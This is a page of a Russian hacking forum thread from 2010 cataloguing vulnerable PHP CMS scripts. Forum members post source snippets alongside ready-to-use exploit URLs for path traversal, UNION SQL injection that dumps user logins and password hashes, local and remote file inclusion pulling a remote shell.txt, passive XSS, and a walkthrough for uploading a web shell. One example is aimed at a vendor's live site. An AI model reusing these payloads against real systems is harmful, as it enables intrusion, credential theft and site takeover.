ANTICHAT
Страница 41 из 52 « Первая < 31 37 38 39 40 41 42 43 44 45 51 > Последняя »
Показывать 40 сообщений этой темы на одной странице

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Энциклопедия уязвимых скриптов (https://forum.antichat.xyz/showthread.php?t=19997)

.:[melkiy]:. 16.06.2010 23:31
Puzzle Apps CMS 3.2
site:www.puzzleapps.org

File Disclosure

file: filepresenter.loader.php

PHP код:
if ($_GET["getfile"]) {
    $filename = $_GET["filename"];
    if (! $filename)
        $filename = "file";
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header("Content-type: application/octetstream");
    header("Pragma: no-cache");
    header("Expires: 0");
    
    readfile($FILEROOT . $_GET["getfile"], "r+");
    
    die();
} 
result:
Код:
filepresenter.loader.php?getfile=../../[local_file]&filename=wtf.txt

.:[melkiy]:. 17.06.2010 17:39
KAN CMS 1.0 beta
site: www.kancms.org

SQL-Injection

need: mq=off

file: pages/sections.php
PHP код:
    include('site_selector.php'); 

    // next we'll include the section manager component to enable the template
    // easily pick information from database
    include('sections_manager.php');

    // next we need to load the specific theme / template index file
    // the $themeFolder variable is created in the site selector
    include( $themeFolder . 'pages/sections.php');

/***************************************************************************/

//file: pages/site_selector.php

if( !isset($_GET['siteid']) ) {
//header("Location: ../pages/");
    $query = "SELECT * FROM sites WHERE sitetype = 'main'";
    $rsSite = mysql_query($query, $config);
    $row_rsSite = mysql_fetch_assoc($rsSite);

    $site_identifier = $row_rsSite['SiteIdentifier'];
    mysql_free_result($rsSite);

    $_GET['siteid'] = $site_identifier;

} else {
    $site_identifier = $_GET['siteid'];
}

// find the site ID for the specified identifier    
$query = "SELECT * FROM sites WHERE SiteIdentifier = '$site_identifier'";
$rsSite = mysql_query($query, $config);
$row_rsSite = mysql_fetch_assoc($rsSite); 
result:
Код:
/pages/sections.php?siteid=-kan'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+&mid=3&sid=6
Также уязвим пареметр mid

Код:
/pages/sections.php?siteid=kan&mid=-1+union+select+1,2,3,4,5,6,7,8,9+--+&sid=6
example:
Код:
http://www.kancms.org/pages/sections.php?siteid=kan&mid=-3+/*!union*/+select+1,2,3,4,5,6,7,8,9+--+&sid=6
//мб нашел бы больше,но двиг,сцуко,не установился
//Двойной запрос, можно шелл залить Ctacok
// а так не залить что-ли, если требования mq=off? Jokester

nikp 18.06.2010 17:14
Moa Gallery v1.2.2 (Updated 2010-06-17)

http://sourceforge.net/projects/moagallery/

В скриптах выставлена защита

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"CFG"[/COLOR][COLOR="#007700"]]))

 {

 echo[/COLOR][COLOR="#DD0000"]"Hacking attempt."[/COLOR][COLOR="#007700"];

 die();

 }

[/COLOR][/COLOR] 
но в mod_main_funcs.php защита отсутствует

sources/mod_main_funcs.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// mod_gallery_funcs.php - This is a collection of functions that interect with the database and a gallery.

[/COLOR][COLOR="#007700"]include_once([/COLOR][COLOR="#0000BB"]$CFG[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"MOA_PATH"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"sources/_error_funcs.php"[/COLOR][COLOR="#007700"]);

 include_once([/COLOR][COLOR="#0000BB"]$CFG[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"MOA_PATH"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"sources/_db_funcs.php"[/COLOR][COLOR="#007700"]);

 include_once([/COLOR][COLOR="#0000BB"]$CFG[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"MOA_PATH"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"sources/mod_image_funcs.php"[/COLOR][COLOR="#007700"]);

...[/COLOR][/COLOR] 
RFI or LFI

rg=on

http://localhost/Moa-1.2.2/sources/mod_main_funcs.php?CFG[MOA_PATH]=http://site.com/shell.txt%00

В версиях ниже 1.2.1 скрипт отсутствует.

.:[melkiy]:. 18.06.2010 17:29
Zyke CMS 1.1

site:www.zykecms.com

Authorization bypass

need: mq=off

file: index.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'loginbt'[/COLOR][COLOR="#007700"]]))

{

if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])

{

 if ([/COLOR][COLOR="#0000BB"]check_login[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]) ==[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])

 {

 if ([/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'function'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Location: admin/'[/COLOR][COLOR="#007700"]);

 else

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Location: '[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$error_login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

 }

 else

{

[/COLOR][COLOR="#0000BB"]$error_login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"wrong username/password
"[/COLOR][COLOR="#007700"];

}

 }

}

...................

function[/COLOR][COLOR="#0000BB"]check_login[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT * FROM users WHERE login='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"' AND password='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$num[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]$num[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])

 {

[/COLOR][COLOR="#0000BB"]session_start[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'last_access'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'function'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'function'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'firstname'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'firstname'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lastname'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lastname'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'date'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'date'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]];

 return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];

 }

else

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

[/COLOR][/COLOR] 
result:

Код HTML:
SQL-Injection

need: mq=off

file: index.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]get_sidebar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]])

...................

function[/COLOR][COLOR="#0000BB"]get_sidebar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM content WHERE urlname = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]());

 if([/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])

 {

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM content WHERE id = '1'"[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]());

 }

[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);

 return[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'sidebar'[/COLOR][COLOR="#007700"]];

}

[/COLOR][/COLOR] 
result:

Код:
/index.php?p=content&id=-home'+union+select+1,2,concat_ws(0x3a,id,login,password),4,5,6,7+from+users--+
LFI

need: mq=off

file: index.php :d

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"]]))

 if ([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".php"[/COLOR][COLOR="#007700"]))

 include ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".php"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR] 
result:

Код:
/index.php?p=../../[local_file]%00&id=home
//зачетная cms...

.:[melkiy]:. 18.06.2010 23:45
PhpBpCms

Download: http://sourceforge.net/projects/phpbpcms/

Vuln: Local Files Include

Need: magic_quotes_gpc = Off

file: index.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//update of redirecting variables $_SESSION[redirect_1], [redirect_2]redirect_update();*/

[/COLOR][COLOR="#007700"]if(![/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'module'[/COLOR][COLOR="#007700"]])

include([/COLOR][COLOR="#DD0000"]'modules/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'default_module'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"]);

 else



include([/COLOR][COLOR="#DD0000"]'modules/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'module'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR] 
result:

Код:
/index.php?module=[local_file]%00

_iks_ 24.06.2010 16:12
Grayscale BandSite CMS Ver. 1.1.4

Site: http://sourceforge.net/projects/bandsitecms/

SQL-иньекция(-):

Уязвимый файл:

./includes/content/interview_content.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$intid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'intid'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#FF8000"]// define the query

 // if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry

[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$intid[/COLOR][COLOR="#007700"])){

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"

SELECT

*

FROM

interviews

WHERE

rec_id=[/COLOR][COLOR="#0000BB"]$intid[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];

 }[/COLOR][/COLOR] 
Эксплуатация:

./interviews.php?intid=-2+union+select+1,2,^,^,5,6,^,8,9,10​

SQL-иньекция(-):

Уязвимый файл:

./includes/content/lyrics_content.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$sid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'sid'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#FF8000"]// if the $sid variable is set, it means we're only after one song, so retrieve just that one

[/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$sid[/COLOR][COLOR="#007700"])){

[/COLOR][COLOR="#FF8000"]// define the query to get this song

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"

SELECT

*

FROM

lyrics

WHERE

rec_id=[/COLOR][COLOR="#0000BB"]$sid[/COLOR][COLOR="#DD0000"]
 LIMIT

1"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#FF8000"]// get the result

[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 


Эксплуатация:

/lyrics.php?sid=1+union+select+1,2,^,4,5,6,^,8,9​

Ctacok 24.06.2010 20:15
Grayscale BandSite CMS Ver. 1.1.4

SQL Injection:

/members.php?memid=-1+union+select+1,2,user(),version(),database(),6,7 +--+

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]memid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'memid'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#FF8000"]// define the query

 // if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry

[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$memid[/COLOR][COLOR="#007700"])){

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"

SELECT

*

FROM

memberbios

WHERE

rec_id=[/COLOR][COLOR="#0000BB"]$memid[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];

 }

[/COLOR][/COLOR] 
Passive XSS:

/reviews.php?filter=alert();

​SQL Injection:

/reviews.php?filter=-1'+union+select+1,version(),3,4,5,6,database(),8,u ser(),10,11+--+

Код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$filter[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'filter'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#FF8000"]// if the $filter variable is set, let's define the query appropriately and display some additional text

[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$filter[/COLOR][COLOR="#007700"])){

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"

SELECT

*

FROM

reviews

WHERE

type='[/COLOR][COLOR="#0000BB"]$filter[/COLOR][COLOR="#DD0000"]'

ORDER BY

rec_id DESC"[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR] 
Залитие шелла:

/adminpanel/index.php?action=addphotos

Выбираем шелл, заливаем.

Далее >

/adminpanel/preview.php?cat=prevphotos

Ищем в сорсах:

/images/gallery/***

У меня к примеру:

/images/gallery/thm_300_wso2pack.jpg.php

Убираем thm_300_.

/images/gallery/wso2pack.jpg.php

Шелленг

​

_iks_ 24.06.2010 20:37
Travelsized CMS 0.4.1

Site: http://sourceforge.net/projects/uberghey/



RFI(rg==on):

frontpage.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$setup_folder[/COLOR][COLOR="#DD0000"]/i18n/[/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#DD0000"]/[/COLOR][COLOR="#0000BB"]$page_id[/COLOR][COLOR="#DD0000"].inc"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
Эксплуатация:

./frontpage.php?setup_folder=data:,​

LFI(mq == off):


index.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'language'[/COLOR][COLOR="#007700"]];

if ([/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$default_language[/COLOR][COLOR="#007700"];

...

if ([/COLOR][COLOR="#0000BB"]$page_id[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {

 include ([/COLOR][COLOR="#DD0000"]"frontpage.php"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR] 
Эксплуатация:

./index.php?page_id=0&language=../../../../../../../../etc/passwd%00​// Вот здесь, я невижу где уязвимость в коде

Инклудится "frontpage.php", его код выше ^^

// Это я вижу, но причём тогда здесь language?)

$language = $_REQUEST['language'];include("$setup_folder/i18n/$language/$page_id.inc"); Может так нагляднее =)

// Теперь нормально, а так-же пользуясь случаем, передаю привет всем всем всем.

Bb0y 25.06.2010 16:34
IROKEZBLOG

XSS passive:

http://localhost/feedback/

Уязвимые поля:

Цитата:
Сообщение от None
Имя
E-mail
Тема
Текст
Вводим:

Код:
">alert();

_iks_ 27.06.2010 00:00
Zeti CMS 1.0.1

Download: http://sourceforge.net/projects/zeticms/

SQL-иньекция(-):

Уязвимый файл:

./viewArticle.php

Код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT title,thearticle FROM cmsarticles WHERE ID = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$HTTP_GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#FF8000"]// Get an array containing the resulting record

[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$connector[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]fetchArray[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]?>

[/COLOR]

Your selected article: [COLOR="#0000BB"]

[/COLOR]

[COLOR="#0000BB"][/COLOR][/COLOR] 
Эксплуатация:

./viewArticle.php?id=-1+union+select+^,^​

aidiCMS v1.0

Download: http://code.google.com/p/aidicms/

LFI(-):

Уязвимый файл:

./style.php

Код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR]body {

 font-family:Arial, Helvetica, sans-serif;

 font-size:11px;

 padding: 0px;

 margin: 0px;

}

[COLOR="#0000BB"][/COLOR][/COLOR] 
Эксплуатация:

http://[host]/style.php?filename=../../../../../../../../../../../etc/passwd​


Время: 10:34
Страница 41 из 52 « Первая < 31 37 38 39 40 41 42 43 44 45 51 > Последняя »
Показывать 40 сообщений этой темы на одной странице